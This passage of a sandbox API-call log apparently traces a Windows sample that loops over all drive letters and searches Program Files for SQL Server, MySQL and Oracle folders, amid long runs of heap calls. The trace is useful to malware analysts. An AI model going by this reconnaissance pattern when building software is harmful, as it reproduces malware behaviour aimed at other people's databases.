hHeap=0x7b0000) returned 1 [0125.723] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.723] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a6b8 [0125.723] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8030 [0125.724] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.724] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.724] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.724] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a710 [0125.724] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8068 [0125.724] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.724] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.725] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.725] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a768 [0125.725] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f80a0 [0125.774] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.774] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.774] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.774] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a7c0 [0125.774] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f80d8 [0125.775] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.775] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.775] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.775] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a818 [0125.775] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8110 [0125.775] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.775] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.775] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.775] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a870 [0125.775] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8148 [0125.776] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.776] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.776] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.776] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a8c8 [0125.776] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8180 [0125.776] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.776] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.776] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.776] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a920 [0125.777] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f81b8 [0125.777] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.777] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.777] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.777] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a978 [0125.777] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f81f0 [0125.777] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.777] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.778] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.778] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a9d0 [0125.778] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8228 [0125.778] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.778] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.778] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.778] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81aa28 [0125.778] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8260 [0125.779] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.779] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.779] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.779] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81aa80 [0125.779] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8298 [0125.779] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.779] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.779] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.780] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81aad8 [0125.780] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f82d0 [0125.780] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.780] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.780] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.780] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81ab30 [0125.780] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8308 [0125.781] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.781] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.781] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.781] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81ab88 [0125.781] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8340 [0125.781] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.781] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.781] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.781] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81abe0 [0125.781] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8378 [0125.782] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.782] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.782] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.782] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81ac38 [0125.782] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f83b0 [0125.782] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.782] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.782] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.782] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81ac90 [0125.782] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f83e8 [0125.783] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.783] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.783] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.783] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81ace8 [0125.783] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8420 [0125.783] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.783] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.784] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.784] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81ad40 [0125.784] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8458 [0125.784] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.784] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.784] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.784] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.784] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.784] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.784] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.784] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.784] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0125.785] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0125.785] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0125.785] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0125.785] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0125.785] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0125.786] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0125.786] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0125.786] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0125.786] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0125.786] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0125.786] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0125.787] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0125.787] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0125.787] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0125.787] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0125.787] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0125.787] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0125.788] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0125.788] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0125.788] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0125.788] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0125.788] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0125.788] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0125.789] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.789] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8500 [0125.789] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x54) returned 0x825b88 [0125.789] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="")) returned 0xffffffff [0125.789] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.789] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.789] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.789] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.789] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.789] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.789] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8) returned 1 [0125.789] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8 | out: hHeap=0x7b0000) returned 1 [0125.789] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.789] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.789] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.789] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.790] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x825a10) returned 1 [0125.790] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x825a10 | out: hHeap=0x7b0000) returned 1 [0125.790] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.790] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.790] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.790] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.790] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x825b88) returned 1 [0125.790] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x825b88 | out: hHeap=0x7b0000) returned 1 [0125.790] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.790] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.790] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.790] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.790] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0125.790] GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0125.790] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0125.791] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0125.791] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0125.791] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0125.791] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0125.791] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0125.791] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0125.791] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0125.792] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0125.792] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0125.792] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0125.792] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0125.792] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0125.792] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0125.793] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0125.793] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0125.793] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0125.793] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0125.793] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0125.793] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0125.793] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0125.794] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0125.794] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0125.794] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0125.794] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.794] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8500 [0125.794] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x44) returned 0x7c99e8 [0125.794] FindFirstFileA (in: lpFileName="C:\\Program Files\\Mysql\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="\x19")) returned 0xffffffff [0125.794] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.794] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.794] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.794] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.794] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.794] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.795] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88) returned 1 [0125.795] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88 | out: hHeap=0x7b0000) returned 1 [0125.795] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.795] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.795] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.795] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.795] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38) returned 1 [0125.795] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38 | out: hHeap=0x7b0000) returned 1 [0125.795] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.795] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.795] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.795] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.795] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8) returned 1 [0125.795] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8 | out: hHeap=0x7b0000) returned 1 [0125.795] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.795] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.795] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.795] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.795] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0125.795] GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0125.796] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0125.796] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0125.796] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0125.796] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0125.796] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0125.796] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0125.797] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0125.797] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0125.797] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0125.797] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0125.797] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0125.797] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0125.797] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0125.798] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0125.798] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0125.798] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0125.798] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0125.798] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0125.798] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0125.799] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0125.799] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0125.799] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0125.799] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0125.799] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0125.799] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.799] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f8500 [0125.799] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x44) returned 0x7c99e8 [0125.799] FindFirstFileA (in: lpFileName="C:\\Program Files\\oracle\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="!")) returned 0xffffffff [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.800] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0125.801] GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0125.801] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0125.801] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0125.801] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0125.801] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0125.801] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0125.802] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0125.802] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0125.802] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0125.802] 